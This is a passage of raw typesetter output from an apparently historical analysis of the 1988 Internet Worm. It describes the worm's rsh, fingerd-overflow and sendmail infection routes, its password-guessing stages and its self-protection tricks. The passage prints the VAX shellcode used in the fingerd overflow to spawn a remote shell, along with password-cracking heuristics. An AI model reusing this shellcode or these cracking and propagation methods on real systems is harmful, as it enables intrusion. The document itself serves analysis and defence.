3864(some)S
4141(of)S
4277(those)S
4554(hosts.)S
4887(For)S
1276 V
970(directly)S
1352(connected)S
1842(networks,)S
2319(it)S
2428(created)S
2789(a)S
2884(list)S
3067(of)S
3205(possible)S
3613(host)S
3844(numbers)S
4269(and)S
4474(attempted)S
4954(to)S
1406 V
970(infect)S
1263(those)S
1539(hosts)S
1810(if)S
1921(they)S
2155(existed.)S
2572(Depending)S
3098(on)S
3253(the)S
3432(type)S
3666(of)S
3802(host)S
4031(\(gateway)S
4476(or)S
4612(local)S
4870(net-)S
1536 V
970(work\),)S
1300(the)S
1475(worm)S
1772(\256rst)S
1985(tried)S
2226(to)S
2352(establish)S
2777(a)S
2865(connection)S
3386(on)S
3536(the)S
11 I
3710(telnet)S
11 R
3994(or)S
11 I
4125(rexec)S
11 R
4400(ports)S
4660(to)S
4786(deter-)S
1666 V
970(mine)S
1223(reachability)S
1773(before)S
2084(it)S
2179(attempted)S
2645(one)S
2836(of)S
2960(the)S
3127(infection)S
3550(methods.)S
1832 V
720(8\))S
970(The)S
1173(infection)S
1596(attempts)S
2002(proceeded)S
2483(by)S
2626(one)S
2817(of)S
2941(three)S
3192(routes:)S
11 I
3524(rsh,)S
3726(fingerd,)S
11 R
4105(or)S
11 I
4229(sendmail)S
11 R
4626(.)S
1998 V
970(8a\))S
1220(The)S
1427(attack)S
1725(via)S
11 I
1896(rsh)S
11 R
2074(was)S
2281(done)S
2531(by)S
2678(attempting)S
3186(to)S
3309(spawn)S
3626(a)S
3711(remote)S
4053(shell)S
4299(by)S
4447(invocation)S
4949(of)S
2128 V
1220(\(in)S
1384(order)S
1655(of)S
1787(trial\))S
2041(/usr/ucb/rsh,)S
2629(/usr/bin/rsh,)S
3200(and)S
3399(/bin/rsh.)S
3838(If)S
3951(successful,)S
4470(the)S
4645(host)S
4870(was)S
2258 V
1220(infected)S
1605(as)S
1729(in)S
1848(steps)S
2101(1)S
2189(and)S
2380(2a,)S
2544(above.)S
2424 V
970(8b\))S
1220(The)S
1441(attack)S
1753(via)S
1938(the)S
11 I
2123(finger)S
11 R
2437(daemon)S
2835(was)S
3056(somewhat)S
3553(more)S
3830(subtle.)S
4206(A)S
4337(connection)S
4870(was)S
2554 V
1220(established)S
1767(to)S
1912(the)S
2105(remote)S
11 I
2468(finger)S
11 R
2789(server)S
3113(daemon)S
3518(and)S
3734(then)S
3981(a)S
4087(specially)S
4535(constructed)S
2684 V
1220(string)S
1528(of)S
1676(536)S
1898(bytes)S
2187(was)S
2414(passed)S
2763(to)S
2906(the)S
3097(daemon,)S
3529(over\257owing)S
4117(its)S
4279(input)S
4563(bu)S
4673 H
	(f)show 11 -.5 mul h (f)show
11 R
4740(er)S
4882(and)S
2814 V
1220(overwriting)S
1774(parts)S
2029(of)S
2162(the)S
2338(stack.)S
2666(For)S
2860(standard)S
3272(4)S
3368(BSD)S
3624(versions)S
4031(running)S
4414(on)S
4565(V)S
9 R
4644(AX)S
11 R
4815(com-)S
2944 V
1220(puters,)S
1566(the)S
1750(over\257ow)S
2190(resulted)S
2587(in)S
2723(the)S
2907(return)S
3219(stack)S
3495(frame)S
3800(for)S
3978(the)S
11 I
4163(main)S
11 R
4434(routine)S
4796(being)S
3074 V
1220(changed)S
1623(so)S
1760(that)S
1964(the)S
2137(return)S
2437(address)S
2804(pointed)S
3172(into)S
3382(the)S
3554(bu)S
3664 H
	(f)show 11 -.5 mul h (f)show
11 R
3731(er)S
3853(on)S
4001(the)S
4173(stack.)S
4497(The)S
4705(instruc-)S
3204 V
1220(tions)S
1468(that)S
1666(were)S
1910(written)S
2254(into)S
2459(the)S
2626(stack)S
2884(at)S
2996(that)S
3194(location)S
3581(were:)S
3394 V
11 C
1220(pushl)S
1770($68732f)S
2595('/sh\\0')S
3524 V
1220(pushl)S
1770($6e69622f)S
2595('/bin')S
3654 V
1220(movl)S
1770(sp,)S
2034(r10)S
3784 V
1220(pushl)S
1770($0)S
3914 V
1220(pushl)S
1770($0)S
4044 V
1220(pushl)S
1770(r10)S
4174 V
1220(pushl)S
1770($3)S
4304 V
1220(movl)S
1770(sp,ap)S
4434 V
1220(chmk)S
1770($3b)S
4624 V
11 R
1220(That)S
1454(is,)S
1589(the)S
1756(code)S
1995(executed)S
2416(when)S
2686(the)S
11 I
2853(main)S
11 R
3106(routine)S
3450(attempted)S
3916(to)S
4035(return)S
4329(was:)S
4814 V
2631(execve\("/bin/sh",)S
3421(0,)S
3537(0\))S
5004 V
1220(On)S
1394(V)S
9 R
1473(AX)S
11 R
1603(en,)S
1774(this)S
1974(resulted)S
2361(in)S
2487(the)S
2661(worm)S
2958(connected)S
3442(to)S
3569(a)S
3658(remote)S
4003(shell)S
4252(via)S
4427(the)S
4602(TCP)S
4846(con-)S
5134 V
1220(nection.)S
1650(The)S
1866(worm)S
2168(then)S
2403(proceeded)S
2897(to)S
3029(infect)S
3324(the)S
3504(host)S
3734(as)S
3871(in)S
4003(steps)S
4269(1)S
4370(and)S
4574(2a,)S
4751(above.)S
5264 V
1220(On)S
1388(Suns,)S
1665(this)S
1859(simply)S
2194(resulted)S
2575(in)S
2695(a)S
2777(core)S
2998(\256le)S
3173(since)S
3432(the)S
3600(code)S
3840(was)S
4044(not)S
4219(in)S
4339(place)S
4603(to)S
4724(corrupt)S
5394 V
1220(a)S
1301(Sun)S
1506(version)S
1862(of)S
11 I
1986(fingerd)S
11 R
2337(in)S
2456(a)S
2537(similar)S
2876(fashion.)S
5560 V
970(8c\))S
1220(The)S
1437(worm)S
1740(then)S
1976(tried)S
2224(to)S
2357(infect)S
2653(the)S
2834(remote)S
3185(host)S
3416(by)S
3573(establishing)S
4147(a)S
4243(connection)S
4772(to)S
4906(the)S
5690 V
1220(SMTP)S
1542(port)S
1752(and)S
1943(mailing)S
2313(an)S
2449(infection,)S
2900(as)S
3024(in)S
3143(step)S
3353(2b,)S
3524(above.)S
5856 V
720(Not)S
920(all)S
1065(the)S
1234(steps)S
1489(were)S
1735(attempted.)S
2264(As)S
2421(soon)S
2664(as)S
2790(one)S
2983(method)S
3348(succeeded,)S
3860(the)S
4030(host)S
4250(entry)S
4511(in)S
4633(the)S
4803(inter-)S
5986 V
720(nal)S
887(list)S
1056(was)S
1259(marked)S
1620(as)S
11 I
1744(infected)S
11 R
2124(and)S
2315(the)S
2482(other)S
2740(methods)S
3146(were)S
3390(not)S
3564(attempted.)S
6152 V
720(9\))S
970(Next,)S
1254(it)S
1359(entered)S
1723(a)S
1814(state)S
2058(machine)S
2472(consisting)S
2962(of)S
3096(\256ve)S
3304(states.)S
3652(Each)S
3913(state)S
4157(was)S
4370(run)S
4559(for)S
4729(a)S
4820(short)S
6282 V
970(while,)S
1285(then)S
1517(the)S
1694(program)S
2107(looped)S
2448(back)S
2696(to)S
2824(step)S
3043(#7)S
3195(\(attempting)S
3744(to)S
3872(break)S
4156(into)S
4370(other)S
4637(hosts)S
4906(via)S
6412 V
11 I
970(sendmail,)S
1432(finger,)S
11 R
1760(or)S
11 I
1888(rsh)S
11 R
2029(\).)S
2163(The)S
2370(\256rst)S
2579(four)S
2798(of)S
2927(the)S
3099(\256ve)S
3302(states)S
3584(were)S
3833(attempts)S
4244(to)S
4368(break)S
4648(into)S
4858(user)S
6542 V
970(accounts)S
1398(on)S
1553(the)S
1732(local)S
1990(machine.)S
2467(The)S
2682(\256fth)S
2910(state)S
3155(was)S
3369(the)S
3547(\256nal)S
3787(state,)S
4060(and)S
4262(occurred)S
4687(after)S
4930(all)S
6672 V
970(attempts)S
1376(had)S
1567(been)S
1806(made)S
2076(to)S
2195(break)S
2470(all)S
2613(passwords.)S
3164(In)S
3288(the)S
3455(\256fth)S
3672(state,)S
3935(the)S
4103(worm)S
4393(looped)S
4726(forever)S
6802 V
970(trying)S
1276(to)S
1405(infect)S
1696(hosts)S
1965(in)S
2093(its)S
2240(internal)S
2617(tables)S
2915(and)S
3115(marked)S
3485(as)S
3618(not)S
3801(yet)S
3977(infected.)S
4432(The)S
4644(\256rst)S
4858(four)S
6932 V
970(states)S
1247(were:)S
7098 V
970(9a\))S
1220(The)S
1430(worm)S
1726(read)S
1953(through)S
2335(the)S
11 I
2509(/etc/hosts.equiv)S
11 R
3230(\256les)S
3454(and)S
11 I
3652(/.rhosts)S
11 R
4021(\256les)S
4245(to)S
4372(\256nd)S
4585(the)S
4760(names)S
7228 V
1220(of)S
11 I
1362(equivalent)S
11 R
1870(hosts.)S
2209(These)S
2521(were)S
2783(marked)S
3162(in)S
3299(the)S
3484(internal)S
3870(table)S
4134(of)S
4276(hosts.)S
4615(Next,)S
4906(the)S
7920 V
EP
%%Page: 10 11
BP
/slant 0 def
/height 1.000000 def
11 R
11 R
490 V
2756(- 10 -)S
850 V
1220(worm)S
1509(read)S
1729(the)S
11 I
1896(/etc/passwd)S
11 R
2443(\256le)S
2617(into)S
2822(an)S
2958(internal)S
3326(data)S
3541(structure.)S
4018(As)S
4173(it)S
4268(was)S
4471(doing)S
4756(this,)S
4978(it)S
980 V
1220(also)S
1436(examined)S
1901(the)S
11 I
2074(.forward)S
11 R
2497(\256le)S
2677(in)S
2802(each)S
3039(user)S
3259(home)S
3541(directory)S
3974(and)S
4170(included)S
4586(those)S
4856(host)S
1110 V
1220(names)S
1549(in)S
1684(its)S
1838(internal)S
2222(table)S
2484(of)S
2624(hosts)S
2900(to)S
3035(try.)S
3267(Oddly,)S
3619(it)S
3730(did)S
3921(not)S
4112(similarly)S
4554(check)S
4858(user)S
1240 V
11 I
1220(.rhosts)S
11 R
1551(\256les.)S
1406 V
970(9b\))S
1220(The)S
1430(worm)S
1726(attempted)S
2200(to)S
2327(break)S
2610(each)S
2850(user)S
3073(password)S
3528(using)S
3808(simple)S
4143(choices.)S
4573(The)S
4784(worm)S
1536 V
1220(\256rst)S
1432(checked)S
1829(the)S
2003(obvious)S
2392(case)S
2619(of)S
2750(no)S
2900(password.)S
3415(Then,)S
3708(it)S
3810(used)S
4051(the)S
4225(account)S
4605(name)S
4882(and)S
1666 V
1220(GECOS)S
1631(\256eld)S
1877(to)S
2013(try)S
2185(simple)S
2529(passwords.)S
3097(Assume)S
3501(that)S
3716(the)S
3900(user)S
4132(had)S
4340(an)S
4493(entry)S
4769(in)S
4906(the)S
1796 V
1220(password)S
1667(\256le)S
1841(like:)S
1986 V
1757(account:abcedfghijklm:100:5:User,)S
3342(Name:/usr/account:/bin/sh)S
2176 V
1220(then)S
1443(the)S
1611(words)S
1913(tried)S
2148(as)S
2273(potential)S
2692(passwords)S
3184(would)S
3494(be)S
11 I
3632(account,)S
4042(accountaccount,)S
4799(User,)S
2306 V
1220(Name,)S
1565(user,)S
1843(name)S
11 R
2080(,)S
2169(and)S
11 I
2388(tnuocca.)S
11 R
2824(These)S
3146(are,)S
3367(respectively,)S
3985(the)S
4180(account)S
4581(name,)S
4906(the)S
2436 V
1220(account)S
1601(name)S
1879(concatenated)S
2490(with)S
2727(itself,)S
3016(the)S
3191(\256rst)S
3404(and)S
3604(last)S
3799(names)S
4121(of)S
4254(the)S
4430(user,)S
4682(the)S
4858(user)S
2566 V
1220(names)S
1564(with)S
1824(leading)S
2211(capital)S
2567(letters)S
2899(turned)S
3243(to)S
3392(lower)S
3704(case,)S
3982(and)S
4203(the)S
4400(account)S
4803(name)S
2696 V
1220(reversed.)S
1700(Experience)S
2242(described)S
2712(in[Gram84])S
3280(indicates)S
3721(that)S
3937(on)S
4098(systems)S
4498(where)S
4815(users)S
2826 V
1220(are)S
1399(naive)S
1683(about)S
1974(password)S
2435(security,)S
2857(these)S
3129(choices)S
3504(may)S
3740(work)S
4012(for)S
4186(up)S
4342(to)S
4474(30%)S
4721(of)S
4858(user)S
2956 V
1220(passwords.)S
3122 V
1220(Step)S
1449(10)S
1592(in)S
1711(this)S
1904(section)S
2248(describes)S
2688(what)S
2934(was)S
3137(done)S
3383(if)S
3483(a)S
3564(password)S
4011(``hit'')S
4305(was)S
4508(achieved.)S
3288 V
970(9c\))S
1220(The)S
1427(third)S
1672(stage)S
1934(in)S
2057(the)S
2228(process)S
2593(involved)S
3015(trying)S
3316(to)S
3440(break)S
3720(the)S
3892(password)S
4344(of)S
4473(each)S
4710(user)S
4930(by)S
3418 V
1220(trying)S
1526(each)S
1768(word)S
2036(present)S
2395(in)S
2524(an)S
2670(internal)S
3047(dictionary)S
3534(of)S
3667(words)S
3977(\(see)S
4194(Appendix)S
4669(I\).)S
4844(This)S
3548 V
1220(dictionary)S
1719(of)S
1864(432)S
2083(words)S
2405(was)S
2629(tried)S
2884(against)S
3249(each)S
3502(account)S
3897(in)S
4038(a)S
4141(random)S
4531(order,)S
4844(with)S
3678 V
1220(``hits'')S
1557(being)S
1834(handled)S
2214(as)S
2338(described)S
2790(in)S
2909(step)S
3119(10,)S
3290(below.)S
3844 V
970(9d\))S
1220(The)S
1432(fourth)S
1742(stage)S
2010(was)S
2223(entered)S
2587(if)S
2697(all)S
2850(other)S
3118(attempts)S
3534(failed.)S
3887(For)S
4083(each)S
4325(word)S
4593(in)S
4722(the)S
4899(\256le)S
3974 V
1220(/usr/dict/words,)S
1946(the)S
2118(worm)S
2411(would)S
2723(see)S
2899(if)S
3003(it)S
3102(was)S
3309(the)S
3480(password)S
3931(to)S
4054(any)S
4249(account.)S
4687(In)S
4815(addi-)S
4104 V
1220(tion,)S
1454(if)S
1555(the)S
1723(word)S
1983(in)S
2104(the)S
2273(dictionary)S
2753(began)S
3049(with)S
3280(an)S
3418(upper)S
3702(case)S
3924(letter,)S
4212(the)S
4381(letter)S
4641(was)S
4846(con-)S
4234 V
1220(verted)S
1526(to)S
1645(lower)S
1927(case)S
2147(and)S
2338(that)S
2536(word)S
2794(was)S
2997(also)S
3207(tried)S
3441(against)S
3785(all)S
3928(the)S
4095(passwords.)S
4400 V
720(10\))S
970(Once)S
1254(a)S
1356(password)S
1824(was)S
2048(broken)S
2406(for)S
2587(any)S
2799(account,)S
3221(the)S
3409(worm)S
3719(would)S
4048(attempt)S
4432(to)S
4572(break)S
4868(into)S
4530 V
970(remote)S
1318(machines)S
1776(where)S
2086(that)S
2295(user)S
2521(had)S
2723(accounts.)S
3211(The)S
3424(worm)S
3723(would)S
4041(scan)S
4278(the)S
11 I
4455(.forward)S
11 R
4882(and)S
4660 V
11 I
970(.rhosts)S
11 R
1319(\256les)S
1554(of)S
1696(the)S
1881(user)S
2115(at)S
2246(this)S
2458(point,)S
2765(and)S
2975(identify)S
3369(the)S
3555(names)S
3887(of)S
4030(remote)S
4386(hosts)S
4665(that)S
4882(had)S
4790 V
970(accounts)S
1386(used)S
1620(by)S
1763(the)S
1930(target)S
2212(user.)S
2488(It)S
2588(then)S
2810(attempted)S
3276(two)S
3474(attacks:)S
4956 V
970(10a\))S
1220(The)S
1427(worm)S
1720(would)S
2032(\256rst)S
2241(attempt)S
2608(to)S
2731(create)S
3027(a)S
3112(remote)S
3453(shell)S
3698(using)S
3974(the)S
11 I
4145(rexec)S
4920 V
9 R
4380(9)S
4956 V
11 R
4462(service.)S
4870(The)S
5086 V
1220(attempt)S
1590(would)S
1904(be)S
2046(made)S
2322(using)S
2600(the)S
2773(account)S
3152(name)S
3428(given)S
3711(in)S
3836(the)S
11 I
4009(.forward)S
11 R
4432(or)S
11 I
4562(.rhosts)S
11 R
4899(\256le)S
5216 V
1220(and)S
1416(the)S
1588(user's)S
1887(local)S
2138(password.)S
2651(This)S
2885(took)S
3119(advantage)S
3600(of)S
3729(the)S
3901(fact)S
4102(that)S
4306(users)S
4570(often)S
4834(have)S
5346 V
1220(the)S
1387(same)S
1645(password)S
2092(on)S
2235(their)S
2469(accounts)S
2885(on)S
3028(multiple)S
3429(machines.)S
5512 V
970(10b\))S
1220(The)S
1426(worm)S
1718(would)S
2029(do)S
2176(a)S
11 I
2261(rexec)S
11 R
2533(to)S
2656(the)S
2827(current)S
3173(host)S
3394(\(using)S
3706(the)S
3877(local)S
4127(user)S
4346(name)S
4620(and)S
4815(pass-)S
5642 V
1220(word\))S
1528(and)S
1732(would)S
2053(try)S
2221(a)S
11 I
2315(rsh)S
11 R
2502(command)S
2981(to)S
3113(the)S
3293(remote)S
3643(host)S
3873(using)S
4158(the)S
4338(username)S
4803(taken)S
5772 V
1220(from)S
1476(the)S
1654(\256le.)S
1900(This)S
2140(attack)S
2445(would)S
2764(succeed)S
3153(in)S
3283(those)S
3559(cases)S
3833(where)S
4143(the)S
4321(remote)S
4669(machine)S
5902 V
1220(had)S
1427(a)S
1524(hosts.equiv)S
2072(\256le)S
2262(or)S
2402(the)S
2585(user)S
2816(had)S
3023(a)S
11 I
3119(.rhosts)S
11 R
3465(\256le)S
3654(that)S
3867(allowed)S
4262(remote)S
4614(execution)S
6032 V
1220(without)S
1590(a)S
1671(password.)S
6162 V
970(If)S
1078(the)S
1248(remote)S
1588(shell)S
1832(was)S
2038(created)S
2388(either)S
2673(way,)S
2919(the)S
3089(attack)S
3387(would)S
3699(continue)S
4114(as)S
4242(in)S
4365(steps)S
4622(1)S
4714(and)S
4909(2a,)S
6292 V
970(above.)S
1325(No)S
1492(other)S
1750(use)S
1929(was)S
2132(made)S
2402(of)S
2526(the)S
2693(user)S
2908(password.)S
6458 V
970(Throughout)S
1529(the)S
1703(execution)S
2169(of)S
2300(the)S
2475(main)S
2736(loop,)S
3001(the)S
3176(worm)S
3473(would)S
3789(check)S
4084(for)S
4252(other)S
4518(worms)S
4858(run-)S
6588 V
720(ning)S
952(on)S
1098(the)S
1268(same)S
1529(machine.)S
1997(To)S
2155(do)S
2301(this,)S
2524(the)S
2693(worm)S
2984(would)S
3294(attempt)S
3659(to)S
3780(connect)S
4155(to)S
4276(another)S
4639(worm)S
4930(on)S
6718 V
720(a)S
837(local,)S
1147(predetermined)S
1848(TCP)S
2120(socket.)S
6682 V
9 R
2428(10)S
6718 V
11 R
2587(If)S
2728(such)S
2998(a)S
3115(connection)S
3665(succeeded,)S
4211(one)S
4439(worm)S
4765(would)S
6828 V
9 Y1
720(3333333333333333)S
6928 V
7 R
820(9)S
6956 V
9 I
900(rexec)S
9 R
1130(is)S
1225(a)S
1300(remote)S
1585(command)S
1975(execution)S
2360(service.)S
2700(It)S
2790(requires)S
3116(that)S
3287(a)S
3363(username/password)S
4109(combination)S
4595(be)S
7066 V
720(supplied)S
1052(as)S
1154(part)S
1321(of)S
1423(the)S
1560(request.)S
7166 V
7 R
820(10)S
7194 V
9 R
935(This)S
1122(was)S
1289(compiled)S
1651(in)S
1748(as)S
1850(port)S
2022(number)S
2324(23357,)S
2599(on)S
2716(host)S
2893(127.0.0.1)S
3259(\(loopback\).)S
7920 V
EP
%%Page: 11 12
BP
/slant 0 def
/height 1.000000 def
9 R
9 R
490 V
11 R
2756(- 11 -)S
850 V
720(\(randomly\))S
1256(set)S
1421(its)S
11 I
1569(pleasequit)S
11 R
2064(variable)S
2459(to)S
2588(1,)S
2714(causing)S
3092(that)S
3300(worm)S
3599(to)S
3728(exit)S
3937(after)S
4180(it)S
4286(had)S
4488(reached)S
4870(part)S
980 V
720(way)S
942(into)S
1154(the)S
1328(third)S
1576(stage)S
1841(\(9c\))S
2056(of)S
2187(password)S
2641(cracking.)S
3118(This)S
3354(delay)S
3631(is)S
3744(part)S
3953(of)S
4083(the)S
4256(reason)S
4580(many)S
4863(sys-)S
1110 V
720(tems)S
969(had)S
1168(multiple)S
1577(worms)S
1917(running:)S
2331(even)S
2578(though)S
2925(a)S
3014(worm)S
3311(would)S
3627(check)S
3922(for)S
4090(other)S
4356(local)S
4610(worms,)S
4978(it)S
1240 V
720(would)S
1028(defer)S
1284(its)S
1422(self-destruction)S
2137(until)S
2373(signi\256cant)S
2865(e)S
2913 H
	(f)show 11 -.5 mul h (f)show
11 R
2980(ort)S
3135(had)S
3326(been)S
3565(made)S
3835(to)S
3954(break)S
4229(local)S
4475(passwords.)S
1406 V
970(One)S
1193(out)S
1375(of)S
1507(every)S
1791(seven)S
2082(worms)S
2423(would)S
2740(become)S
3122(immortal)S
3568(rather)S
3864(than)S
4095(check)S
4391(for)S
4560(other)S
4827(local)S
1536 V
720(worms.)S
1119(This)S
1354(was)S
1563(probably)S
1992(done)S
2244(to)S
2369(defeat)S
2674(any)S
2871(attempt)S
3240(to)S
3365(put)S
3545(a)S
3632(fake)S
3857(worm)S
4151(process)S
4517(on)S
4665(the)S
4837(TCP)S
1666 V
720(port)S
930(to)S
1049(kill)S
1230(existing)S
1612(worms.)S
2005(It)S
2105(also)S
2315(contributed)S
2848(to)S
2967(the)S
3134(load)S
3356(of)S
3480(a)S
3561(machine)S
3965(once)S
4204(infected.)S
1832 V
970(The)S
1193(worm)S
1502(attempted)S
1988(to)S
2127(send)S
2381(an)S
2538(UDP)S
2812(packet)S
3151(to)S
3291(the)S
3479(host)S
3717(ernie.berkeley.edu)S
1796 V
9 R
4525(11)S
1832 V
11 R
4669(approxi-)S
1962 V
720(mately)S
1061(once)S
1309(every)S
1593(15)S
1745(infections,)S
2248(based)S
2538(on)S
2689(a)S
2778(random)S
3154(number)S
3530(comparison.)S
4144(The)S
4355(code)S
4602(to)S
4729(do)S
4880(this)S
2092 V
720(was)S
929(incorrect,)S
1384(however,)S
1827(and)S
2024(no)S
2173(information)S
2731(was)S
2940(ever)S
3166(sent.)S
3443(Whether)S
3858(this)S
4057(was)S
4266(the)S
4440(intended)S
4858(ruse)S
2222 V
720(or)S
846(whether)S
1233(there)S
1486(was)S
1691(actually)S
2073(some)S
2340(reason)S
2660(for)S
2822(the)S
2991(byte)S
3215(to)S
3336(be)S
3474(sent)S
3685(is)S
3793(not)S
3968(currently)S
4397(known.)S
4791(How-)S
2352 V
720(ever,)S
974(the)S
1147(code)S
1392(is)S
1505(such)S
1745(that)S
1949(an)S
2091(uninitialized)S
2680(byte)S
2908(is)S
3021(the)S
3194(intended)S
3611(message.)S
4082(It)S
4188(is)S
4301(possible)S
4701(that)S
4906(the)S
2482 V
720(author)S
1051(eventually)S
1559(intended)S
1988(to)S
2125(run)S
2322(some)S
2605(monitoring)S
3146(program)S
3568(on)S
3729(ernie)S
3997(\(after)S
4282(breaking)S
4715(into)S
4937(an)S
2612 V
720(account,)S
1128(perhaps\).)S
1605(Such)S
1865(a)S
1953(program)S
2364(could)S
2648(obtain)S
2964(the)S
3139(sending)S
3522(host)S
3747(number)S
4123(from)S
4377(the)S
4552(single-byte)S
2742 V
720(message,)S
1159(whether)S
1551(it)S
1653(was)S
1863(sent)S
2080(as)S
2211(a)S
2299(TCP)S
2542(or)S
2673(UDP)S
2933(packet.)S
3319(However,)S
3787(no)S
3937(evidence)S
4365(for)S
4531(such)S
4771(a)S
4858(pro-)S
2872 V
720(gram)S
983(has)S
1167(been)S
1411(found)S
1706(and)S
1903(it)S
2004(is)S
2117(possible)S
2517(that)S
2721(the)S
2894(connection)S
3414(was)S
3623(simply)S
3963(a)S
4050(feint)S
4290(to)S
4415(cast)S
4624(suspicion)S
3002 V
720(on)S
863(personnel)S
1322(at)S
1434(Berkeley.)S
3168 V
970(The)S
1185(worm)S
1486(would)S
1806(also)S
11 I
2028(fork)S
11 R
2250(itself)S
2515(on)S
2670(a)S
2763(regular)S
3117(basis)S
3382(and)S
11 I
3585(kill)S
11 R
3771(its)S
3922(parent.)S
4302(This)S
4544(served)S
4875(two)S
3298 V
720(purposes.)S
1208(First,)S
1476(the)S
1647(worm)S
1940(appeared)S
2370(to)S
2493(keep)S
2736(changing)S
3175(its)S
3316(process)S
3680(id)S
3802(and)S
3996(no)S
4142(single)S
4441(process)S
4805(accu-)S
3428 V
720(mulated)S
1111(excessive)S
1567(amounts)S
1977(of)S
2105(cpu)S
2300(time.)S
2594(Secondly,)S
3068(processes)S
3524(that)S
3726(have)S
3969(been)S
4213(running)S
4593(for)S
4758(a)S
4844(long)S
3558 V
720(time)S
972(have)S
1234(their)S
1491(priority)S
1877(downgraded)S
2474(by)S
2640(the)S
2830(scheduler.)S
3366(By)S
3550(forking,)S
3956(the)S
4145(new)S
4382(process)S
4765(would)S
3688 V
720(regain)S
1027(normal)S
1372(scheduling)S
1882(priority.)S
2307(This)S
2538(mechanism)S
3073(did)S
3249(not)S
3425(always)S
3764(work)S
4024(correctly,)S
4475(either,)S
4787(as)S
4913(we)S
3818 V
720(locally)S
1052(observed)S
1480(some)S
1745(instances)S
2180(of)S
2304(the)S
2471(worm)S
2760(with)S
2989(over)S
3216(600)S
3414(seconds)S
3794(of)S
3918(accumulated)S
4504(cpu)S
4695(time.)S
3984 V
970(If)S
1076(the)S
1244(worm)S
1534(ran)S
1708(for)S
1870(more)S
2130(than)S
2354(12)S
2499(hours,)S
2806(it)S
2903(would)S
3213(\257ush)S
3463(its)S
3603(host)S
3822(list)S
3993(of)S
4119(all)S
4264(entries)S
4591(\257agged)S
4949(as)S
4114 V
720(being)S
1005(immune)S
1407(or)S
1539(already)S
1901(infected.)S
2355(The)S
2566(way)S
2789(hosts)S
3057(were)S
3309(added)S
3611(to)S
3738(this)S
3939(list)S
4116(implies)S
4482(that)S
4688(a)S
4777(single)S
4244 V
720(worm)S
1009(might)S
1300(reinfect)S
1666(the)S
1833(same)S
2091(machines)S
2538(every)S
2813(12)S
2956(hours.)S
4504 V
11 B
720(5.)S
869(A)S
981(Tour)S
1253(of)S
1377(the)S
1556(Worm)S
4670 V
11 R
970(The)S
1179(following)S
1646(is)S
1759(a)S
1846(brief,)S
2119(high-level)S
2603(description)S
3131(of)S
3262(the)S
3436(routines)S
3830(present)S
4186(in)S
4312(the)S
4486(Worm)S
4806(code.)S
4800 V
720(The)S
928(description)S
1454(covers)S
1777(all)S
1925(the)S
2097(signi\256cant)S
2594(functionality)S
3194(of)S
3323(the)S
3495(program,)S
3932(but)S
4111(does)S
4350(not)S
4529(describe)S
4930(all)S
4930 V
720(the)S
901(auxiliary)S
1338(routines)S
1740(used)S
1989(nor)S
2183(does)S
2432(it)S
2542(describe)S
2954(all)S
3112(the)S
3294(parameters)S
3821(or)S
3960(algorithms)S
4479(involved.)S
4973(It)S
5060 V
720(should,)S
1075(however,)S
1512(give)S
1734(the)S
1901(user)S
2116(a)S
2197(complete)S
2632(view)S
2878(of)S
3002(how)S
3224(the)S
3391(Worm)S
3704(functioned.)S
5320 V
11 B
720(5.1.)S
952(Data)S
1210(Structures)S
5486 V
11 R
970(The)S
1185(Worm)S
1510(had)S
1713(a)S
1806(few)S
2014(global)S
2334(data)S
2561(structures)S
3032(worth)S
3333(mentioning.)S
3941(Additionally,)S
4571(the)S
4750(way)S
4978(it)S
5616 V
720(handled)S
1100(some)S
1365(local)S
1611(data)S
1826(is)S
1933(of)S
2057(interest.)S
5876 V
11 B
720(5.1.1.)S
1035(Host)S
1288(list)S
6042 V
11 R
970(The)S
1176(Worm)S
1492(constructed)S
2033(a)S
2117(linked)S
2428(list)S
2601(of)S
2729(host)S
2950(records.)S
3369(Each)S
3624(record)S
3939(contained)S
4402(an)S
4542(array)S
4802(of)S
4930(12)S
6172 V
720(character)S
1160(pointers)S
1556(to)S
1684(allow)S
1970(storage)S
2327(of)S
2459(up)S
2610(to)S
2737(12)S
2888(host)S
3113(names/aliases.)S
3818(Each)S
4077(record)S
4396(also)S
4614(contained)S
6302 V
720(an)S
859(array)S
1118(of)S
1245(six)S
1410(long)S
1642(unsigned)S
2075(integers)S
2458(for)S
2621(host)S
2841(addresses,)S
3324(and)S
3518(each)S
3753(record)S
4067(contained)S
4529(a)S
4614(\257ag)S
4816(\256eld.)S
6432 V
720(The)S
927(only)S
1160(\257ag)S
1362(bits)S
1559(used)S
1797(in)S
1920(the)S
2091(code)S
2334(appear)S
2661(to)S
2784(be)S
2924(0x01)S
3181(\(host)S
3438(was)S
3645(a)S
3730(gateway\),)S
4195(0x2)S
4396(\(host)S
4652(has)S
4834(been)S
6562 V
720(infected\),)S
1179(0x4)S
1387(\(host)S
1650(cannot)S
1985(be)S
2131(infected)S
2526(\320)S
2679(not)S
2863(reachable,)S
3351(not)S
3535(U)S
9 R
3614(NIX)S
11 R
3774(,)S
3846(wrong)S
4170(machine)S
4585(type\),)S
4882(and)S
6692 V
720(0x8)S
918(\(host)S
1171(was)S
1374(``equivalent'')S
2008(in)S
2127(the)S
2294(sense)S
2564(that)S
2762(it)S
2857(appeared)S
3283(in)S
3402(a)S
3483(context)S
3839(like)S
11 I
4037(.rhosts)S
11 R
4368(\256le\).)S
6942 V
9 Y1
720(3333333333333333)S
7042 V
7 R
820(11)S
7070 V
9 R
935(Using)S
1177(TCP)S
1369(port)S
1541(11357)S
1793(on)S
1910(host)S
2087(128.32.137.13.)S
7920 V
EP
%%Page: 12 13
BP
/slant 0 def
/height 1.000000 def
9 R
9 R
490 V
11 R
2756(- 12 -)S
850 V
11 B
720(5.1.2.)S
1035(Gateway)S
1482(List)S
1016 V
11 R
970(The)S
1176(Worm)S
1493(constructed)S
2035(a)S
2120(simple)S
2451(array)S
2711(of)S
2839(gateway)S
3240(IP)S
3375(addresses)S
3831(through)S
4210(the)S
4381(use)S
4564(of)S
4692(the)S
4863(sys-)S
1146 V
720(tem)S
11 I
930(netstat)S
11 R
1268(command.)S
1806(These)S
2111(addresses)S
2574(were)S
2829(used)S
3074(to)S
3204(infect)S
3497(directly)S
3876(connected)S
4363(networks.)S
4870(The)S
1276 V
720(use)S
899(of)S
1023(the)S
1190(list)S
1359(is)S
1466(described)S
1918(in)S
2037(the)S
2204(explanation)S
2749(of)S
11 I
2873(scan_gateways)S
11 R
3571(and)S
11 I
3762(rt_init)S
11 R
4039(,)S
4100(below.)S
1536 V
11 B
720(5.1.3.)S
1035(Interfaces)S
1535(list)S
1702 V
11 R
970(An)S
1143(array)S
1405(of)S
1535(records)S
1895(was)S
2104(\256lled)S
2370(in)S
2495(with)S
2730(information)S
